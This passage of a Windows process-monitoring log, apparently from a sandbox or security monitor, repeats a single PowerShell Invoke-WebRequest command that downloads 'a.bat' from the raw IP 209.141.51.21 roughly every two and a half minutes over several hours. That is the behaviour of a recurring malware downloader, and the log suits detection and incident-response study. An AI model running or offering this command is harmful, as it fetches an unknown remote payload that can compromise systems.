'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 14:26:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 14:28:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 14:31:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 14:33:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 14:36:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 14:38:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 14:41:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 14:43:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 14:46:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 14:48:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 14:51:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 14:53:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 14:56:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 14:58:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 15:01:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 15:03:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 15:06:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 15:09:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 15:11:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 15:14:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 15:16:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 15:19:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 15:21:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 15:24:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 15:26:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 15:29:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 15:31:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 15:34:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 15:36:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 15:39:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 15:41:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 15:44:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 15:46:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 15:49:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 15:51:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 15:54:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 15:56:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 15:59:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 16:01:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 16:04:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 16:06:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 16:09:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 16:11:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 16:14:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 16:16:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 16:19:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 16:21:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 16:24:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 16:26:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 16:29:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 16:31:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 16:34:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 16:36:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 16:39:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 16:41:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 16:44:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 16:46:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 16:49:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 16:51:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 16:54:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 16:56:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 16:59:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 17:01:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 17:04:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 17:07:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 17:09:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 17:12:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 17:14:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 17:17:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 17:19:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 17:22:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 17:24:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 17:27:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 17:29:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 17:32:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 17:34:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 17:37:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 17:39:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 17:42:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 17:44:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 17:47:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 17:49:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 17:52:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 17:54:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 17:57:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 17:59:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 18:02:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 18:04:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 18:07:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 18:09:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 18:12:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 18:14:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 18:17:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 18:19:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 18:22:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 18:24:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 18:27:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 18:29:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 18:32:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 18:34:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 18:37:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 18:39:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 18:42:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 18:44:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 18:47:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 18:49:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 18:52:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 18:54:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 18:57:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 19:00:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 19:02:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 19:05:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 19:07:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 19:10:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 19:12:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 19:15:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 19:17:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 19:20:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 19:22:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 19:25:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 19:27:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 19:30:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 19:32:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 19:35:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 19:37:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 19:40:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 19:42:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 19:45:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 19:47:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 19:50:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 19:52:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 19:55:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 19:57:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 20:00:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 20:02:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 